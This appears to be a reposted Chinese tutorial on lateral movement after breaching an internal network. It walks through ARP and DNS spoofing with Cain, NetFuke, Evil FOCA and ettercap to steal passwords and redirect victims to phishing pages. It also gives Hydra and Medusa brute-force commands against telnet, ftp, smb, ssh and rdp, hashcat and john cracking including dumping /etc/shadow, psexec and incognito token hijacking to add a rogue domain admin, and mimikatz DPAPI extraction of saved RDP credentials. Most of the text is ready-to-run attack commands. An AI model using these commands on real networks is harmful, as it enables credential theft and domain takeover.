Skip to content

Latest commit

 

History

History
575 lines (367 loc) · 22.1 KB

【内网】横向渗透的常见方法.md

File metadata and controls

575 lines (367 loc) · 22.1 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

**文章来****源:**安全鸭

在已经攻占部分内网主机的前提下,利用现有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个网段、拥有最高权限的目的。在很多时候,内网渗透的起点往往只是一台通过漏洞攻陷的跳板,横向渗透就是通过这个突破口去不断扩大在本网段内的战果。

进入内网维持好权限后接下来要做的就是对当前网络信息进行全面的信息收集。分析自己所处的网络位置、计算机信息、横向资产、服务与端口 (漏洞扫描及利用)、敏感数据 (如 ftp 链接记录、浏览器访问记录、各服务保存的密码、数据库等)。端口服务常见攻击方法有:爆破、漏洞利用、欺骗、钓鱼

一、系统漏洞

根据补丁信息,掏出 EXP 利用常规系统漏洞对整个网段进行扫描并利用。

二、流量监听

监听对象是网段内未加密的一些服务协议,主要内容包括服务连接密码、网站登录密码、敏感数据等

1. cain

cain 适用于老版本服务器,实例:

win2003是web服务器,充当进入内网的跳板机(192.168.198.133) 
win7充当内网被攻击机(192.168.198.130)

win2003 安装了 cain。通过 cain 充当中间人做 arp 欺骗,截取靶机 win7 与网关通信的流量以获取不加密的敏感信息。
①选择网卡

同时也可以修改默认端口。确认点击即可开始嗅探

**
②嗅探中,**对网段进行主机存活扫描

**
③选择网关以及欺骗目标主机**


**
④开始欺骗**

此时在靶机里面可以看见网关和 win03 的 mac 地址相同,说明已经完成 arp 欺骗


**
⑤开始监听**,监听后在目标机器 win7 里面打开任意 http 登录框输入密码进行登录:


**
⑥此时在 cain 里面,成功抓取**密码****

1.1 抓取 telnet 登录密码
靶机 win7 telnet 连接网段内任意设备

抓取成功,用户名数据包重叠了,问题不大

1.2 抓取 ftp 登录密码

靶机 win7 ftp 登录网段内任意设备

抓取成功

2.wireshark

wireshark 是网工必备神器,功能强大,这里只简单介绍到他的过滤语法进行流量监听。

① 抓取 http 流量

http

②抓取指定源地址的 http 流量

http && ip.src==192.168.198.133

③抓取 post 数据包含用户名及密码

http && ip.src==192.168.198.133  && http.request.method=="POST"

抓取到的登录信息:

④抓取访问指定目标地址的 http 流量

http && ip.dst==192.168.198.133

2.1 抓取 ftp

ftp && ip.dst==192.168.198.133

telnet && ip.dst==192.168.198.133

抓取到的 telnet 是一个一个字符传递数据,所以根据 tcp 码流将所有流量合成一个数据包进行分析 (右键单击数据包点击)

三、ARP 欺骗

进行 arp 欺骗后,可进行域名欺骗、网页内容欺骗、dns 解析欺骗 + 钓鱼攻击等进一步操作。

1.netfuke

和 cain 工具一样只适用于老版本服务器。
①嗅探设置

来源 IP 栏输入网关地址,中间人写本机 IP。

可以将钓鱼页面以 html 格式文件写到这里

③启动欺骗之后。在目标浏览器上,所有 web 网站都会强制跳转到 html 页面。

2. Foca evail

Foca evail 适合高版本服务器,需要 dotnet 4.5 以上环境。打开工具设置网卡之后会自动识别同网段其他主机和网关

①arp 中间人攻击
选择网关及目标机器进行 ipv4 攻击

②配置 dns 劫持欺骗
劫持 dns 解析过程,在主机将 www.baidu.com 域名发送到 dns 服务器时进行劫持返回主机伪造的其他的 IP 地址。这里将百度的域名解析到 192.168.198.1 这个 IP 上。(若勾选 wildcard 选项表示劫持所有域名)

③成功劫持
靶机上 www.baidu.com 已经解析到 IP 192.168.198.1。利用 dns 劫持可以进行钓鱼攻击

3. ettercap


ettercap 是 kali 一款功能强大的欺骗攻击工具,既可以实现 arp 欺骗也可以实现复杂的中间人攻击。支持命令行和图形界面

arp 欺骗
①ettercap -G  打开图形界面
②扫描存活主机
accept>hosts>scan for hosts, 扫描完成后依次点击 hosts>hosts list,可查看当前网络主机列表

③选择攻击目标设为 target 1,网关设为 target 2

④选择中间人攻击类型。设置 arp 监听,然后开始攻击

⑤成功抓取密码

Dns 欺骗
①设置欺骗的目标 ip 以及指定目标网址

vi /etc/ettercap/etter.dns

②accept>hosts>scan for hosts, 扫描完成后 hosts>hosts list,可查看主机列表。设置欺骗目标,开启 arp 欺骗

ettercap -G

③设置插件
plugins》manage plugins》dns_spoof

④dns 欺骗
这里也可以看到记录的密码

⑤dns 欺骗成功

ettercap 命令行

ettercap -T -q -i eth0 -M arp:remote /192.168.198.130// /192.168.198.2//
#目标:192.168.198.130
#网关:192.168.198.2

抓取密码成功,这里还能抓到 cookie,如果没法抓到密码可以抓 cookie 登录

四、服务密码攻击
**1. 在线爆破
**在线爆破受网络因素、字典、电脑性能影响较大。扫描端口分析服务进行爆破攻击:smb、telnet、ftp、rdp、mysql、mssql、ssh
Hydra 爆破 telnet

hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 telnet://192.168.198.133:23

Hydra 爆破 ftp

hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ftp://192.168.198.133:21

Hydra 爆破 smb

hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 smb://192.168.198.133:445

Hydra 爆破 ssh

hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ssh://192.168.198.131:22

Hydra 爆破 rdp。存在误报情况,未知原因:

hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 rdp://192.168.198.133:3389

medusa
medusa 工具是通过并行登录暴力破解的方法,尝试获取远程验证服务访问权限。medusa 能够验证的远程服务,如 ftp/http/imap/mssql/netware/nntp/pcanywhere/pop3/snmp/sshv2/telnet/vnc 等服务密码。个人觉得没有 hydra 用起来丝滑

medusa -h 192.168.1.8 -U /root/dict/usename.txt -P /root/dict/password.txt -M telnet

其他–超级弱口令工具

线程越低越精确

2. 离线爆破

得到目标密文后本地加载字典爆破。不用考虑网络因素,对字典、电脑性能要求高

2.1 hash-identifier-- 用于识别密文加密的算法类型的工具

2.2 Hashcat
Hashcat 系列软件包含 Hashcat、oclHashcat、oclRausscrack。其区别为 Hashcat 只支持 cpu 破解;oclHashcat 和 oclGausscrack 则支持 gpu 加速。oclHashcat 则分为 AMD 版和 NIVDA 版。

-m #指定加密类型,跟上对应的id号。id号对应编码方式如下图

-a #指定爆破攻击模式,常用0和3。0表示加载字典爆破,3表示边生成字典边爆破

①字典爆破

#使用字典破解密码,a.hash是指要爆破的密文,password.txt是指密码字典。-o 1.txt输出为文件
hashcat /root/dict/a.hash -m 0 -a 0 /root/dict/password.txt --force

②掩码破解

-a 3 #一边生成字典一边爆破

?l #小写字母
?u #大写字母
?d #纯数字
?h #小写十六进制
?H #大写十六进制
?s #特殊字符
?a #等于?l?u?d?s
#例如:生成8位纯数字爆破
hashcat a.txt -m 0 -a 3 ?d?d?d?d?d?d?d?d

指定爆破位数且为每一个字母指定类型

hashcat /root/dict/a.hash -m 0 -a 3 ?l?l?l?l?d?d?d --force
# test123>?l?l?l?l?d?d?d

组合爆破

--custom-charset1=?l?d ?1?1?1?1?1?1?1?1
# 表示生成8位(?1表示数字和小写字母的组合)由小写字母和数字组合形成的字典
hashcat /root/dict/a.hash -m 0 -a 3 --custom-charset1=?l?d ?1?1?1?1?1?1?1?1 --force

**john
**

  1. 破解 windows 密码。用 hashdump7 或者 mimikatz 导出 windows hash 为 1.txt
john -format=NT /root/1.txt
  1. 破解 Linux shadow 文件
cat /etc/shadow > shadow.txt
john shadow.txt
john shadow.txt --show

压缩包爆破

1.Fcrackzip

#安装
apt-get install fcrackzip
-b   #指定模式为暴破
-c   #指定密码类型字。(a=a-z;1=0-9;!=特殊字符;-ca1!)
-u   #显示破解出来的密码
-l 5-6 #指定密码长度
-D   #使用字典
-p   #使用字符串作为初始密码文件
-threads #线程
#爆破密码为数字
fcrackzip -b -ca1 -l 1-6 -u ip.zip
#带字典爆破
fcrackzip -D -p pass.txt -u 1.zip

2.rarcrack

该软件用于暴力破解压缩文件的密码,但仅支持 RAR, ZIP, 7Z 这三种类型的压缩包
执行命令: rarcrack 文件名 -threads 线程数 -type rar|zip|7z

rarcrack 123.zip --threads 10 --type zip

如果允许出现错误。那么可以执行 sudo apt-get install libxml2-dev libxslt-dev 进行修复。

shell 控制连接

通过端口爆破 445 得到账号密码。没有开 3389 没法直接登录,此时借用 psexec 直接调用 cmd 登录。也可以通过 incognito 劫持 token,如果有域管理员 token 劫持 DC,创建一个域管理员出来

1.psexec.exe

下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

通过得到的账号密码信息链接跳板机,通过 smb 爆破得到账号密码,如果目标没有开启 3389/23 服务无法直接登录,借助 psexec.exe 工具通过 smb 服务调用目标 cmd

psexec.exe \\192.168.198.138 -u administrator -p 123456 cmd

2.incognito.exe 提权

#查看本机可以利用的token
incognito.exe list_tokens -u  
#查看远程机器可以利用劫持的token
incognito.exe -h 192.168.198.138 -u administrator -p 123456 list_tokens -u

#调用远程机器的本地系统权限的cmd.exe,查看可以劫持的权限
incognito.exe -h 192.168.198.138 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe

#域控账号登陆过普通主机,可以尝试拿到域低权限账号利用incognito工具劫持域控身份
#查找被攻击的计算机中是否有DC的token
incognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u  
#利用DA的token创建新的DC,调用DC的cmd.exe
incognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c "XY\ADMINISTRATOR" cmd.exe  
#执行创建DC命令
net user hh 123.com /add /domain
net group "domain admins" hh /add /domain

Linux 下通过 smbclient 访问 windows 共享目录

  1. 安装 smbclient
yum -y install samba-client/apt-get install samba-client
  1. 查看共享
smbclient -L 192.168.1.8 -U administrator 

 

3.smb 连接

smbclient //192.168.1.8/tools -U administrator

执行 smbclient 命令成功后,进入 smbclient 环境,出现提示符:smb:/>  这里命令和 ftp 命令相似,如 cd 、lcd、get、megt、put、mput 等。通过这些命令,我们可以访问远程主机的共享资源

本地 rdp 密码读取

1. 查看当前服务器历史记录

#查看rdp连接历史记录
cmdkey /list

2. 查找保存在本地的认证,得到对应路径以及值

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

得到:

C:**加粗样式**\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363
mimikatz 
dpapi::cred /in:C:\Users\MIN\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363

3. 运行 mimikaz,获取 guidMasterKey

mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt

接下来需要使用的是 guidMasterKey、pbData 数据。pbData 是凭据的加密数据,guidMasterKey 是凭据的 GUID。
4. 获取 MasterKey
根据目标凭据 GUID 找到其关联的 MasterKey,这个 MasterKey 就是加密凭据的密钥,即解密 pbData 所必须的东西。

dpapi::cred /in:C:\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363/masterkey:3d5c95de7ccd3a1d468efd0d90a42330cdcf06d0e7ee834a443907384a6b25dab8d8ab32c8c9540605711d689304ecab949e168719551d2423498168f7fec6ac

根据 guid 获取到 masterkey

5.mimikatz 破解密码

dpapi::cred /in:C:\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363/masterkey:3d5c95de7ccd3a1d468efd0d90a42330cdcf06d0e7ee834a443907384a6b25dab8d8ab32c8c9540605711d689304ecab949e168719551d2423498168f7fec6ac